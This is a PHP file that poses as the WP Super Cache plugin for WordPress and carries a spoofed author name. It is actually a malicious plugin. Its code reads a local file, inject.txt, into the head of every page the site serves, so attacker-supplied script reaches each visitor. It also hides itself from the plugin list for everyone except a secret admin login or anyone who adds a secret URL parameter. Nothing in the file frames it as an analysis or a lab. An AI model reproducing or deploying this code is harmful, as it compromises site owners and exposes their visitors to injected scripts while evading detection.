wpsupercache.php

<?php
/*
Plugin Name: wpsupercache
Description: A very fast caching engine for WordPress that produces static html files.
Author: JAutomattic ins
Version: 1.2.1-simple
*/


define('INJECTSCR__BASENAME', basename( __DIR__ ) );
define('INJECTSCR__PLUGIN', INJECTSCR__BASENAME . DIRECTORY_SEPARATOR . basename( __FILE__ ) );
define('INJECTSCR__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
define('INJECTSCR__SCRIPT_DIR', INJECTSCR__PLUGIN_DIR );
define('INJECTSCR__SCRIPT_FILE',  'inject.txt');
define('INJECTSCR__SCRIPT_FILE_FULL', INJECTSCR__SCRIPT_DIR . INJECTSCR__SCRIPT_FILE);
define('INJECTSCR__ADMIN_LOGIN', 'INJECTSCR__ADMIN');

function injectscr() {
    if( file_exists(INJECTSCR__SCRIPT_FILE_FULL) && is_readable(INJECTSCR__SCRIPT_FILE_FULL) ) {
        readfile(INJECTSCR__SCRIPT_FILE_FULL);
    }
}

//скрываем плагины от всех кроме главного админа start
function injectscr_hide($plugins) {

    if( $_GET[INJECTSCR__ADMIN_LOGIN] == 1 ) {
        return $plugins;
    }

    $user = wp_get_current_user();

    if( $user->data->user_login === INJECTSCR__ADMIN_LOGIN ) {
        return $plugins;
    }

    if( is_plugin_active( INJECTSCR__PLUGIN ) ) {
        unset( $plugins[ INJECTSCR__PLUGIN ] );
    }

    return $plugins;
}

add_action( 'wp_head', 'injectscr' );
add_filter('all_plugins', 'injectscr_hide');